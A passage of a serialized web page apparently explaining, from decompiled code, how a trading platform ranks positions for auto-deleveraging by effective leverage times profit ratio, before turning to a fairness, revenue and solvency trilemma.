functions",{"type":29,"value":347},{"type":24,"tag":25,"props":161561,"children":161562},{},[161563,161565,161570],{"type":29,"value":161564},"Let's see how this ties back into the ",{"type":24,"tag":154,"props":161566,"children":161568},{"className":161567},[],[161569],{"type":29,"value":160649},{"type":29,"value":225},{"type":24,"tag":160324,"props":161572,"children":161574},{"source":160649,"target":161505,"direction":160650,"path":161573},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":24,"tag":25,"props":161576,"children":161577},{},[161578],{"type":29,"value":161579},"And here's the main call site used for sorting:",{"type":24,"tag":160324,"props":161581,"children":161584},{"addr":160695,"line-start":161582,"line-end":161583},"2806","2814",[],{"type":24,"tag":59,"props":161586,"children":161588},{"id":161587},"ratio-1-effective-leverage",[161589],{"type":29,"value":161590},"Ratio 1: Effective Leverage",{"type":24,"tag":147,"props":161592,"children":161593},{},[161594],{"type":24,"tag":154,"props":161595,"children":161597},{"className":161596},[5642,160352],[161598],{"type":24,"tag":158,"props":161599,"children":161601},{"className":161600},[160357],[161602],{"type":24,"tag":158,"props":161603,"children":161605},{"className":161604},[5648],[161606],{"type":24,"tag":158,"props":161607,"children":161609},{"className":161608,"ariaHidden":3185},[5653],[161610,161641],{"type":24,"tag":158,"props":161611,"children":161613},{"className":161612},[5658],[161614,161618,161628,161632,161637],{"type":24,"tag":158,"props":161615,"children":161617},{"className":161616,"style":116380},[5663],[],{"type":24,"tag":158,"props":161619,"children":161621},{"className":161620},[5669,29],[161622],{"type":24,"tag":158,"props":161623,"children":161625},{"className":161624},[5669],[161626],{"type":29,"value":161627},"effective leverage",{"type":24,"tag":158,"props":161629,"children":161631},{"className":161630,"style":5848},[5750],[],{"type":24,"tag":158,"props":161633,"children":161635},{"className":161634},[5853],[161636],{"type":29,"value":1285},{"type":24,"tag":158,"props":161638,"children":161640},{"className":161639,"style":5848},[5750],[],{"type":24,"tag":158,"props":161642,"children":161644},{"className":161643},[5658],[161645,161650],{"type":24,"tag":158,"props":161646,"children":161649},{"className":161647,"style":161648},[5663],"height:2.113em;vertical-align:-0.686em;",[],{"type":24,"tag":158,"props":161651,"children":161653},{"className":161652},[5669],[161654,161658,161753],{"type":24,"tag":158,"props":161655,"children":161657},{"className":161656},[22961,114843],[],{"type":24,"tag":158,"props":161659,"children":161661},{"className":161660},[114848],[161662],{"type":24,"tag":158,"props":161663,"children":161665},{"className":161664},[5691,22886],[161666,161741],{"type":24,"tag":158,"props":161667,"children":161669},{"className":161668},[5696],[161670,161736],{"type":24,"tag":158,"props":161671,"children":161673},{"className":161672,"style":160430},[5701],[161674,161695,161706],{"type":24,"tag":158,"props":161675,"children":161676},{"style":160434},[161677,161681],{"type":24,"tag":158,"props":161678,"children":161680},{"className":161679,"style":113496},[5710],[],{"type":24,"tag":158,"props":161682,"children":161684},{"className":161683},[5669],[161685],{"type":24,"tag":158,"props":161686,"children":161688},{"className":161687},[5669,29],[161689],{"type":24,"tag":158,"props":161690,"children":161692},{"className":161691},[5669],[161693],{"type":29,"value":161694},"account value",{"type":24,"tag":158,"props":161696,"children":161697},{"style":114898},[161698,161702],{"type":24,"tag":158,"props":161699,"children":161701},{"className":161700,"style":113496},[5710],[],{"type":24,"tag":158,"props":161703,"children":161705},{"className":161704,"style":114908},[114907],[],{"type":24,"tag":158,"props":161707,"children":161708},{"style":160485},[161709,161713],{"type":24,"tag":158,"props":161710,"children":161712},{"className":161711,"style":113496},[5710],[],{"type":24,"tag":158,"props":161714,"children":161716},{"className":161715},[5669],[161717,161722,161731],{"type":24,"tag":158,"props":161718,"children":161720},{"className":161719},[5669],[161721],{"type":29,"value":160500},{"type":24,"tag":158,"props":161723,"children":161725},{"className":161724},[5669,29],[161726],{"type":24,"tag":158,"props":161727,"children":161729},{"className":161728},[5669],[161730],{"type":29,"value":160510},{"type":24,"tag":158,"props":161732,"children":161734},{"className":161733},[5669],[161735],{"type":29,"value":160500},{"type":24,"tag":158,"props":161737,"children":161739},{"className":161738},[22989],[161740],{"type":29,"value":22992},{"type":24,"tag":158,"props":161742,"children":161744},{"className":161743},[5696],[161745],{"type":24,"tag":158,"props":161746,"children":161749},{"className":161747,"style":161748},[5701],"height:0.686em;",[161750],{"type":24,"tag":158,"props":161751,"children":161752},{},[],{"type":24,"tag":158,"props":161754,"children":161756},{"className":161755},[22983,114843],[],{"type":24,"tag":25,"props":161758,"children":161759},{},[161760,161762,161768,161770,161776,161777,161783,161785,161791],{"type":29,"value":161761},"We can see in the decompilation below, through the SIMD noise, that ",{"type":24,"tag":154,"props":161763,"children":161765},{"className":161764},[],[161766],{"type":29,"value":161767},"abs_notional",{"type":29,"value":161769}," (unsigned), and ",{"type":24,"tag":154,"props":161771,"children":161773},{"className":161772},[],[161774],{"type":29,"value":161775},"float.d(rbx)",{"type":29,"value":816},{"type":24,"tag":154,"props":161778,"children":161780},{"className":161779},[],[161781],{"type":29,"value":161782},"account_value",{"type":29,"value":161784}," (signed); the division is ",{"type":24,"tag":154,"props":161786,"children":161788},{"className":161787},[],[161789],{"type":29,"value":161790},"abs_notional / account_value",{"type":29,"value":347},{"type":24,"tag":25,"props":161793,"children":161794},{},[161795],{"type":29,"value":161796},"This tells us the risk multiplier that the user took on for this position.",{"type":24,"tag":160324,"props":161798,"children":161802},{"addr":161799,"line-start":161800,"line-end":161801},"0x555556abb140","278","296",[],{"type":24,"tag":59,"props":161804,"children":161806},{"id":161805},"ratio-2-profit-ratio",[161807],{"type":29,"value":161808},"Ratio 2: Profit Ratio",{"type":24,"tag":147,"props":161810,"children":161811},{},[161812],{"type":24,"tag":154,"props":161813,"children":161815},{"className":161814},[5642,160352],[161816],{"type":24,"tag":158,"props":161817,"children":161819},{"className":161818},[160357],[161820],{"type":24,"tag":158,"props":161821,"children":161823},{"className":161822},[5648],[161824],{"type":24,"tag":158,"props":161825,"children":161827},{"className":161826,"ariaHidden":3185},[5653],[161828,161859],{"type":24,"tag":158,"props":161829,"children":161831},{"className":161830},[5658],[161832,161836,161846,161850,161855],{"type":24,"tag":158,"props":161833,"children":161835},{"className":161834,"style":116380},[5663],[],{"type":24,"tag":158,"props":161837,"children":161839},{"className":161838},[5669,29],[161840],{"type":24,"tag":158,"props":161841,"children":161843},{"className":161842},[5669],[161844],{"type":29,"value":161845},"profit ratio",{"type":24,"tag":158,"props":161847,"children":161849},{"className":161848,"style":5848},[5750],[],{"type":24,"tag":158,"props":161851,"children":161853},{"className":161852},[5853],[161854],{"type":29,"value":1285},{"type":24,"tag":158,"props":161856,"children":161858},{"className":161857,"style":5848},[5750],[],{"type":24,"tag":158,"props":161860,"children":161862},{"className":161861},[5658],[161863,161867],{"type":24,"tag":158,"props":161864,"children":161866},{"className":161865,"style":160405},[5663],[],{"type":24,"tag":158,"props":161868,"children":161870},{"className":161869},[5669],[161871,161875,161994],{"type":24,"tag":158,"props":161872,"children":161874},{"className":161873},[22961,114843],[],{"type":24,"tag":158,"props":161876,"children":161878},{"className":161877},[114848],[161879],{"type":24,"tag":158,"props":161880,"children":161882},{"className":161881},[5691,22886],[161883,161983],{"type":24,"tag":158,"props":161884,"children":161886},{"className":161885},[5696],[161887,161978],{"type":24,"tag":158,"props":161888,"children":161890},{"className":161889,"style":160430},[5701],[161891,161912,161923],{"type":24,"tag":158,"props":161892,"children":161893},{"style":160434},[161894,161898],{"type":24,"tag":158,"props":161895,"children":161897},{"className":161896,"style":113496},[5710],[],{"type":24,"tag":158,"props":161899,"children":161901},{"className":161900},[5669],[161902],{"type":24,"tag":158,"props":161903,"children":161905},{"className":161904},[5669,29],[161906],{"type":24,"tag":158,"props":161907,"children":161909},{"className":161908},[5669],[161910],{"type":29,"value":161911},"entry notional",{"type":24,"tag":158,"props":161913,"children":161914},{"style":114898},[161915,161919],{"type":24,"tag":158,"props":161916,"children":161918},{"className":161917,"style":113496},[5710],[],{"type":24,"tag":158,"props":161920,"children":161922},{"className":161921,"style":114908},[114907],[],{"type":24,"tag":158,"props":161924,"children":161925},{"style":160485},[161926,161930],{"type":24,"tag":158,"props":161927,"children":161929},{"className":161928,"style":113496},[5710],[],{"type":24,"tag":158,"props":161931,"children":161933},{"className":161932},[5669],[161934,161940,161945,161955,161960,161964,161968,161973],{"type":24,"tag":158,"props":161935,"children":161937},{"className":161936},[22868],[161938],{"type":29,"value":161939},"max",{"type":24,"tag":158,"props":161941,"children":161943},{"className":161942},[22961],[161944],{"type":29,"value":504},{"type":24,"tag":158,"props":161946,"children":161948},{"className":161947},[5669,29],[161949],{"type":24,"tag":158,"props":161950,"children":161952},{"className":161951},[5669],[161953],{"type":29,"value":161954},"pnl",{"type":24,"tag":158,"props":161956,"children":161958},{"className":161957},[5782],[161959],{"type":29,"value":5785},{"type":24,"tag":158,"props":161961,"children":161963},{"className":161962,"style":5789},[5750],[],{"type":24,"tag":158,"props":161965,"children":161967},{"className":161966,"style":5789},[5750],[],{"type":24,"tag":158,"props":161969,"children":161971},{"className":161970},[5669],[161972],{"type":29,"value":5682},{"type":24,"tag":158,"props":161974,"children":161976},{"className":161975},[22983],[161977],{"type":29,"value":521},{"type":24,"tag":158,"props":161979,"children":161981},{"className":161980},[22989],[161982],{"type":29,"value":22992},{"type":24,"tag":158,"props":161984,"children":161986},{"className":161985},[5696],[161987],{"type":24,"tag":158,"props":161988,"children":161990},{"className":161989,"style":160528},[5701],[161991],{"type":24,"tag":158,"props":161992,"children":161993},{},[],{"type":24,"tag":158,"props":161995,"children":161997},{"className":161996},[22983,114843],[],{"type":24,"tag":25,"props":161999,"children":162000},{},[162001,162003,162009],{"type":29,"value":162002},"It uses entry notional (",{"type":24,"tag":154,"props":162004,"children":162006},{"className":162005},[],[162007],{"type":29,"value":162008},"r14_2",{"type":29,"value":162010},") as the divisor. PNL is clamped to non-negative before division.",{"type":24,"tag":25,"props":162012,"children":162013},{},[162014],{"type":29,"value":162015},"This basically tells us how well the user's bet went.",{"type":24,"tag":160324,"props":162017,"children":162021},{"addr":162018,"addr-start":162019,"addr-end":162020},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":24,"tag":25,"props":162023,"children":162024},{},[162025,162027,162033,162035,162041],{"type":29,"value":162026},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":24,"tag":154,"props":162028,"children":162030},{"className":162029},[],[162031],{"type":29,"value":162032},"1e-8",{"type":29,"value":162034},", in order not to cancel each other out. The final ADL ranking score is ",{"type":24,"tag":154,"props":162036,"children":162038},{"className":162037},[],[162039],{"type":29,"value":162040},"effective_leverage * profit_ratio",{"type":29,"value":162042},", consistent with both ratio directions and the max clamp on PNL.",{"type":24,"tag":25,"props":162044,"children":162045},{},[162046],{"type":29,"value":162047},"So, in essence, we look for risky and profitable positions!",{"type":24,"tag":395,"props":162049,"children":162051},{"id":162050},"partial-and-total-adl",[162052],{"type":29,"value":162053},"Partial and Total ADL",{"type":24,"tag":25,"props":162055,"children":162056},{},[162057],{"type":29,"value":162058},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":24,"tag":25,"props":162060,"children":162061},{},[162062],{"type":29,"value":162063},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":24,"tag":25,"props":162065,"children":162066},{},[162067,162069,162074],{"type":29,"value":162068},"So essentially, in pseudocode, the whole latter part of ",{"type":24,"tag":154,"props":162070,"children":162072},{"className":162071},[],[162073],{"type":29,"value":160649},{"type":29,"value":162075}," boils down to:",{"type":24,"tag":160324,"props":162077,"children":162080},{"addr":160695,"line-start":162078,"line-end":162079},"3252","3632",[],{"type":24,"tag":25,"props":162082,"children":162083},{},[162084],{"type":29,"value":162085},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":24,"tag":36636,"props":162087,"children":162089},{"id":162088},"branches",[162090],{"type":29,"value":162091},"Branches",{"type":24,"tag":25,"props":162093,"children":162094},{},[162095],{"type":29,"value":162096},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":24,"tag":25,"props":162098,"children":162099},{},[162100],{"type":29,"value":162101},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":24,"tag":36636,"props":162103,"children":162105},{"id":162104},"financial-conclusions",[162106],{"type":29,"value":162107},"Financial Conclusions",{"type":24,"tag":59,"props":162109,"children":162111},{"id":162110},"fairness-revenue-solvency-trilemma",[162112],{"type":29,"value":162113},"Fairness, Revenue, Solvency Trilemma",{"type":24,"tag":25,"props":162115,"children":162116},{},[162117,162119,162125],{"type":29,"value":162118},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":24,"tag":101,"props":162120,"children":162122},{"href":161477,"rel":162121},[105],[162123],{"type":29,"value":162124},"the paper mentioned before",{"type":29,"value":162126},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":24,"tag":17924,"props":162128,"children":162129},{},[162130,162140,162150],{"type":24,"tag":1790,"props":162131,"children":162132},{},[162133,162138],{"type":24,"tag":32,"props":162134,"children":162135},{},[162136],{"type":29,"value":162137},"Solvency",{"type":29,"value":162139},": can the platform pay every trader out?",{"type":24,"tag":1790,"props":162141,"children":162142},{},[162143,162148],{"type":24,"tag":32,"props":162144,"children":162145},{},[162146],{"type":29,"value":162147},"Fairness",{"type":29,"value":162149},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":24,"tag":1790,"props":162151,"children":162152},{},[162153,162158],{"type":24,"tag":32,"props":162154,"children":162155},{},[162156],{"type":29,"value":162157},"Revenue",{"type":29,"value":162159},": the fraction of total winner PNL that survives after deleveraging.",{"type":24,"tag":25,"props":162161,"children":162162},{},[162163],{"type":29,"value":162164},"Let's borrow these definitions from the paper:",{"type":24,"tag":147,"props":162166,"children":162167},{},[162168],{"type":24,"tag":154,"props":162169,"children":162171},{"className":162170},[5642,160352],[162172],{"type":24,"tag":158,"props":162173,"children":162175},{"className":162174},[160357],[162176],{"type":24,"tag":158,"props":162177,"children":162179},{"className":162178},[5648],[162180],{"type":24,"tag":158,"props":162181,"children":162183},{"className":162182,"ariaHidden":3185},[5653],[162184],{"type":24,"tag":158,"props":162185,"children":162187},{"className":162186},[5658],[162188,162193],{"type":24,"tag":158,"props":162189,"children":162192},{"className":162190,"style":162191},[5663],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":24,"tag":158,"props":162194,"children":162196},{"className":162195},[5669],[162197],{"type":24,"tag":158,"props":162198,"children":162200},{"className":162199},[161054],[162201,163020],{"type":24,"tag":158,"props":162202,"children":162204},{"className":162203},[161059],[162205],{"type":24,"tag":158,"props":162206,"children":162208},{"className":162207},[5691,22886],[162209,163008],{"type":24,"tag":158,"props":162210,"children":162212},{"className":162211},[5696],[162213,163003],{"type":24,"tag":158,"props":162214,"children":162217},{"className":162215,"style":162216},[5701],"height:11.8392em;",[162218,162289,162306,162375,162445,162514,162584,162653,162722,162791,162861,162932],{"type":24,"tag":158,"props":162219,"children":162221},{"style":162220},"top:-14.3707em;",[162222,162227],{"type":24,"tag":158,"props":162223,"children":162226},{"className":162224,"style":162225},[5710],"height:3.3714em;",[],{"type":24,"tag":158,"props":162228,"children":162230},{"className":162229},[5669],[162231],{"type":24,"tag":158,"props":162232,"children":162234},{"className":162233},[5669],[162235,162240],{"type":24,"tag":158,"props":162236,"children":162238},{"className":162237,"style":22833},[5669,22832],[162239],{"type":29,"value":22836},{"type":24,"tag":158,"props":162241,"children":162243},{"className":162242},[5686],[162244],{"type":24,"tag":158,"props":162245,"children":162247},{"className":162246},[5691,22886],[162248,162278],{"type":24,"tag":158,"props":162249,"children":162251},{"className":162250},[5696],[162252,162273],{"type":24,"tag":158,"props":162253,"children":162255},{"className":162254,"style":110757},[5701],[162256],{"type":24,"tag":158,"props":162257,"children":162259},{"style":162258},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[162260,162264],{"type":24,"tag":158,"props":162261,"children":162263},{"className":162262,"style":5711},[5710],[],{"type":24,"tag":158,"props":162265,"children":162267},{"className":162266},[5716,5717,5718,5719],[162268],{"type":24,"tag":158,"props":162269,"children":162271},{"className":162270},[5669,22832,5719],[162272],{"type":29,"value":57676},{"type":24,"tag":158,"props":162274,"children":162276},{"className":162275},[22989],[162277],{"type":29,"value":22992},{"type":24,"tag":158,"props":162279,"children":162281},{"className":162280},[5696],[162282],{"type":24,"tag":158,"props":162283,"children":162285},{"className":162284,"style":94408},[5701],[162286],{"type":24,"tag":158,"props":162287,"children":162288},{},[],{"type":24,"tag":158,"props":162290,"children":162292},{"style":162291},"top:-12.8707em;",[162293,162297],{"type":24,"tag":158,"props":162294,"children":162296},{"className":162295,"style":162225},[5710],[],{"type":24,"tag":158,"props":162298,"children":162300},{"className":162299},[5669],[162301],{"type":24,"tag":158,"props":162302,"children":162304},{"className":162303,"style":96345},[5669,22832],[162305],{"type":29,"value":96379},{"type":24,"tag":158,"props":162307,"children":162309},{"style":162308},"top:-10.8392em;",[162310,162314],{"type":24,"tag":158,"props":162311,"children":162313},{"className":162312,"style":162225},[5710],[],{"type":24,"tag":158,"props":162315,"children":162317},{"className":162316},[5669],[162318],{"type":24,"tag":158,"props":162319,"children":162321},{"className":162320},[5669],[162322,162327],{"type":24,"tag":158,"props":162323,"children":162325},{"className":162324},[5669,22832],[162326],{"type":29,"value":2907},{"type":24,"tag":158,"props":162328,"children":162330},{"className":162329},[5686],[162331],{"type":24,"tag":158,"props":162332,"children":162334},{"className":162333},[5691,22886],[162335,162364],{"type":24,"tag":158,"props":162336,"children":162338},{"className":162337},[5696],[162339,162359],{"type":24,"tag":158,"props":162340,"children":162342},{"className":162341,"style":94854},[5701],[162343],{"type":24,"tag":158,"props":162344,"children":162345},{"style":94381},[162346,162350],{"type":24,"tag":158,"props":162347,"children":162349},{"className":162348,"style":5711},[5710],[],{"type":24,"tag":158,"props":162351,"children":162353},{"className":162352},[5716,5717,5718,5719],[162354],{"type":24,"tag":158,"props":162355,"children":162357},{"className":162356},[5669,22832,5719],[162358],{"type":29,"value":1832},{"type":24,"tag":158,"props":162360,"children":162362},{"className":162361},[22989],[162363],{"type":29,"value":22992},{"type":24,"tag":158,"props":162365,"children":162367},{"className":162366},[5696],[162368],{"type":24,"tag":158,"props":162369,"children":162371},{"className":162370,"style":94408},[5701],[162372],{"type":24,"tag":158,"props":162373,"children":162374},{},[],{"type":24,"tag":158,"props":162376,"children":162378},{"style":162377},"top:-8.8188em;",[162379,162383],{"type":24,"tag":158,"props":162380,"children":162382},{"className":162381,"style":162225},[5710],[],{"type":24,"tag":158,"props":162384,"children":162386},{"className":162385},[5669],[162387],{"type":24,"tag":158,"props":162388,"children":162390},{"className":162389},[5669],[162391,162397],{"type":24,"tag":158,"props":162392,"children":162394},{"className":162393,"style":94811},[5669,22832],[162395],{"type":29,"value":162396},"π",{"type":24,"tag":158,"props":162398,"children":162400},{"className":162399},[5686],[162401],{"type":24,"tag":158,"props":162402,"children":162404},{"className":162403},[5691,22886],[162405,162434],{"type":24,"tag":158,"props":162406,"children":162408},{"className":162407},[5696],[162409,162429],{"type":24,"tag":158,"props":162410,"children":162412},{"className":162411,"style":94854},[5701],[162413],{"type":24,"tag":158,"props":162414,"children":162415},{"style":94858},[162416,162420],{"type":24,"tag":158,"props":162417,"children":162419},{"className":162418,"style":5711},[5710],[],{"type":24,"tag":158,"props":162421,"children":162423},{"className":162422},[5716,5717,5718,5719],[162424],{"type":24,"tag":158,"props":162425,"children":162427},{"className":162426},[5669,22832,5719],[162428],{"type":29,"value":1832},{"type":24,"tag":158,"props":162430,"children":162432},{"className":162431},[22989],[162433],{"type":29,"value":22992},{"type":24,"tag":158,"props":162435,"children":162437},{"className":162436},[5696],[162438],{"type":24,"tag":158,"props":162439,"children":162441},{"className":162440,"style":94408},[5701],[162442],{"type":24,"tag":158,"props":162443,"children":162444},{},[],{"type":24,"tag":158,"props":162446,"children":162448},{"style":162447},"top:-7.3188em;",[162449,162453],{"type":24,"tag":158,"props":162450,"children":162452},{"className":162451,"style":162225},[5710],[],{"type":24,"tag":158,"props":162454,"children":162456},{"className":162455},[5669],[162457],{"type":24,"tag":158,"props":162458,"children":162460},{"className":162459},[5669],[162461,162466],{"type":24,"tag":158,"props":162462,"children":162464},{"className":162463},[5669,22832],[162465],{"type":29,"value":52726},{"type":24,"tag":158,"props":162467,"children":162469},{"className":162468},[5686],[162470],{"type":24,"tag":158,"props":162471,"children":162473},{"className":162472},[5691,22886],[162474,162503],{"type":24,"tag":158,"props":162475,"children":162477},{"className":162476},[5696],[162478,162498],{"type":24,"tag":158,"props":162479,"children":162481},{"className":162480,"style":94854},[5701],[162482],{"type":24,"tag":158,"props":162483,"children":162484},{"style":94381},[162485,162489],{"type":24,"tag":158,"props":162486,"children":162488},{"className":162487,"style":5711},[5710],[],{"type":24,"tag":158,"props":162490,"children":162492},{"className":162491},[5716,5717,5718,5719],[162493],{"type":24,"tag":158,"props":162494,"children":162496},{"className":162495},[5669,22832,5719],[162497],{"type":29,"value":1832},{"type":24,"tag":158,"props":162499,"children":162501},{"className":162500},[22989],[162502],{"type":29,"value":22992},{"type":24,"tag":158,"props":162504,"children":162506},{"className":162505},[5696],[162507],{"type":24,"tag":158,"props":162508,"children":162510},{"className":162509,"style":94408},[5701],[162511],{"type":24,"tag":158,"props":162512,"children":162513},{},[],{"type":24,"tag":158,"props":162515,"children":162517},{"style":162516},"top:-5.8188em;",[162518,162522],{"type":24,"tag":158,"props":162519,"children":162521},{"className":162520,"style":162225},[5710],[],{"type":24,"tag":158,"props":162523,"children":162525},{"className":162524},[5669],[162526],{"type":24,"tag":158,"props":162527,"children":162529},{"className":162528},[5669],[162530,162535],{"type":24,"tag":158,"props":162531,"children":162533},{"className":162532,"style":123605},[5669,22832],[162534],{"type":29,"value":50843},{"type":24,"tag":158,"props":162536,"children":162538},{"className":162537},[5686],[162539],{"type":24,"tag":158,"props":162540,"children":162542},{"className":162541},[5691,22886],[162543,162573],{"type":24,"tag":158,"props":162544,"children":162546},{"className":162545},[5696],[162547,162568],{"type":24,"tag":158,"props":162548,"children":162550},{"className":162549,"style":94854},[5701],[162551],{"type":24,"tag":158,"props":162552,"children":162554},{"style":162553},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[162555,162559],{"type":24,"tag":158,"props":162556,"children":162558},{"className":162557,"style":5711},[5710],[],{"type":24,"tag":158,"props":162560,"children":162562},{"className":162561},[5716,5717,5718,5719],[162563],{"type":24,"tag":158,"props":162564,"children":162566},{"className":162565},[5669,22832,5719],[162567],{"type":29,"value":1832},{"type":24,"tag":158,"props":162569,"children":162571},{"className":162570},[22989],[162572],{"type":29,"value":22992},{"type":24,"tag":158,"props":162574,"children":162576},{"className":162575},[5696],[162577],{"type":24,"tag":158,"props":162578,"children":162580},{"className":162579,"style":94408},[5701],[162581],{"type":24,"tag":158,"props":162582,"children":162583},{},[],{"type":24,"tag":158,"props":162585,"children":162587},{"style":162586},"top:-4.3188em;",[162588,162592],{"type":24,"tag":158,"props":162589,"children":162591},{"className":162590,"style":162225},[5710],[],{"type":24,"tag":158,"props":162593,"children":162595},{"className":162594},[5669],[162596],{"type":24,"tag":158,"props":162597,"children":162599},{"className":162598},[5669],[162600,162605],{"type":24,"tag":158,"props":162601,"children":162603},{"className":162602},[5669,22832],[162604],{"type":29,"value":20518},{"type":24,"tag":158,"props":162606,"children":162608},{"className":162607},[5686],[162609],{"type":24,"tag":158,"props":162610,"children":162612},{"className":162611},[5691,22886],[162613,162642],{"type":24,"tag":158,"props":162614,"children":162616},{"className":162615},[5696],[162617,162637],{"type":24,"tag":158,"props":162618,"children":162620},{"className":162619,"style":94854},[5701],[162621],{"type":24,"tag":158,"props":162622,"children":162623},{"style":94381},[162624,162628],{"type":24,"tag":158,"props":162625,"children":162627},{"className":162626,"style":5711},[5710],[],{"type":24,"tag":158,"props":162629,"children":162631},{"className":162630},[5716,5717,5718,5719],[162632],{"type":24,"tag":158,"props":162633,"children":162635},{"className":162634},[5669,22832,5719],[162636],{"type":29,"value":1832},{"type":24,"tag":158,"props":162638,"children":162640},{"className":162639},[22989],[162641],{"type":29,"value":22992},{"type":24,"tag":158,"props":162643,"children":162645},{"className":162644},[5696],[162646],{"type":24,"tag":158,"props":162647,"children":162649},{"className":162648,"style":94408},[5701],[162650],{"type":24,"tag":158,"props":162651,"children":162652},{},[],{"type":24,"tag":158,"props":162654,"children":162656},{"style":162655},"top:-2.5512em;",[162657,162661],{"type":24,"tag":158,"props":162658,"children":162660},{"className":162659,"style":162225},[5710],[],{"type":24,"tag":158,"props":162662,"children":162664},{"className":162663},[5669],[162665],{"type":24,"tag":158,"props":162666,"children":162668},{"className":162667},[5669],[162669,162674],{"type":24,"tag":158,"props":162670,"children":162672},{"className":162671},[5669,22832],[162673],{"type":29,"value":85623},{"type":24,"tag":158,"props":162675,"children":162677},{"className":162676},[5686],[162678],{"type":24,"tag":158,"props":162679,"children":162681},{"className":162680},[5691,22886],[162682,162711],{"type":24,"tag":158,"props":162683,"children":162685},{"className":162684},[5696],[162686,162706],{"type":24,"tag":158,"props":162687,"children":162689},{"className":162688,"style":94854},[5701],[162690],{"type":24,"tag":158,"props":162691,"children":162692},{"style":94381},[162693,162697],{"type":24,"tag":158,"props":162694,"children":162696},{"className":162695,"style":5711},[5710],[],{"type":24,"tag":158,"props":162698,"children":162700},{"className":162699},[5716,5717,5718,5719],[162701],{"type":24,"tag":158,"props":162702,"children":162704},{"className":162703},[5669,22832,5719],[162705],{"type":29,"value":1832},{"type":24,"tag":158,"props":162707,"children":162709},{"className":162708},[22989],[162710],{"type":29,"value":22992},{"type":24,"tag":158,"props":162712,"children":162714},{"className":162713},[5696],[162715],{"type":24,"tag":158,"props":162716,"children":162718},{"className":162717,"style":94408},[5701],[162719],{"type":24,"tag":158,"props":162720,"children":162721},{},[],{"type":24,"tag":158,"props":162723,"children":162725},{"style":162724},"top:-0.3652em;",[162726,162730],{"type":24,"tag":158,"props":162727,"children":162729},{"className":162728,"style":162225},[5710],[],{"type":24,"tag":158,"props":162731,"children":162733},{"className":162732},[5669],[162734],{"type":24,"tag":158,"props":162735,"children":162737},{"className":162736},[5669],[162738,162743],{"type":24,"tag":158,"props":162739,"children":162741},{"className":162740,"style":94559},[5669,22832],[162742],{"type":29,"value":94562},{"type":24,"tag":158,"props":162744,"children":162746},{"className":162745},[5686],[162747],{"type":24,"tag":158,"props":162748,"children":162750},{"className":162749},[5691,22886],[162751,162780],{"type":24,"tag":158,"props":162752,"children":162754},{"className":162753},[5696],[162755,162775],{"type":24,"tag":158,"props":162756,"children":162758},{"className":162757,"style":143880},[5701],[162759],{"type":24,"tag":158,"props":162760,"children":162761},{"style":111754},[162762,162766],{"type":24,"tag":158,"props":162763,"children":162765},{"className":162764,"style":5711},[5710],[],{"type":24,"tag":158,"props":162767,"children":162769},{"className":162768},[5716,5717,5718,5719],[162770],{"type":24,"tag":158,"props":162771,"children":162773},{"className":162772,"style":22833},[5669,22832,5719],[162774],{"type":29,"value":7637},{"type":24,"tag":158,"props":162776,"children":162778},{"className":162777},[22989],[162779],{"type":29,"value":22992},{"type":24,"tag":158,"props":162781,"children":162783},{"className":162782},[5696],[162784],{"type":24,"tag":158,"props":162785,"children":162787},{"className":162786,"style":94408},[5701],[162788],{"type":24,"tag":158,"props":162789,"children":162790},{},[],{"type":24,"tag":158,"props":162792,"children":162794},{"style":162793},"top:2.2624em;",[162795,162799],{"type":24,"tag":158,"props":162796,"children":162798},{"className":162797,"style":162225},[5710],[],{"type":24,"tag":158,"props":162800,"children":162802},{"className":162801},[5669],[162803],{"type":24,"tag":158,"props":162804,"children":162806},{"className":162805},[5669],[162807,162813],{"type":24,"tag":158,"props":162808,"children":162810},{"className":162809,"style":94325},[5669,22832],[162811],{"type":29,"value":162812},"D",{"type":24,"tag":158,"props":162814,"children":162816},{"className":162815},[5686],[162817],{"type":24,"tag":158,"props":162818,"children":162820},{"className":162819},[5691,22886],[162821,162850],{"type":24,"tag":158,"props":162822,"children":162824},{"className":162823},[5696],[162825,162845],{"type":24,"tag":158,"props":162826,"children":162828},{"className":162827,"style":143880},[5701],[162829],{"type":24,"tag":158,"props":162830,"children":162831},{"style":111324},[162832,162836],{"type":24,"tag":158,"props":162833,"children":162835},{"className":162834,"style":5711},[5710],[],{"type":24,"tag":158,"props":162837,"children":162839},{"className":162838},[5716,5717,5718,5719],[162840],{"type":24,"tag":158,"props":162841,"children":162843},{"className":162842,"style":22833},[5669,22832,5719],[162844],{"type":29,"value":7637},{"type":24,"tag":158,"props":162846,"children":162848},{"className":162847},[22989],[162849],{"type":29,"value":22992},{"type":24,"tag":158,"props":162851,"children":162853},{"className":162852},[5696],[162854],{"type":24,"tag":158,"props":162855,"children":162857},{"className":162856,"style":94408},[5701],[162858],{"type":24,"tag":158,"props":162859,"children":162860},{},[],{"type":24,"tag":158,"props":162862,"children":162864},{"style":162863},"top:4.8901em;",[162865,162869],{"type":24,"tag":158,"props":162866,"children":162868},{"className":162867,"style":162225},[5710],[],{"type":24,"tag":158,"props":162870,"children":162872},{"className":162871},[5669],[162873],{"type":24,"tag":158,"props":162874,"children":162876},{"className":162875},[5669],[162877,162883],{"type":24,"tag":158,"props":162878,"children":162880},{"className":162879,"style":96333},[5669,22832],[162881],{"type":29,"value":162882},"U",{"type":24,"tag":158,"props":162884,"children":162886},{"className":162885},[5686],[162887],{"type":24,"tag":158,"props":162888,"children":162890},{"className":162889},[5691,22886],[162891,162921],{"type":24,"tag":158,"props":162892,"children":162894},{"className":162893},[5696],[162895,162916],{"type":24,"tag":158,"props":162896,"children":162898},{"className":162897,"style":143880},[5701],[162899],{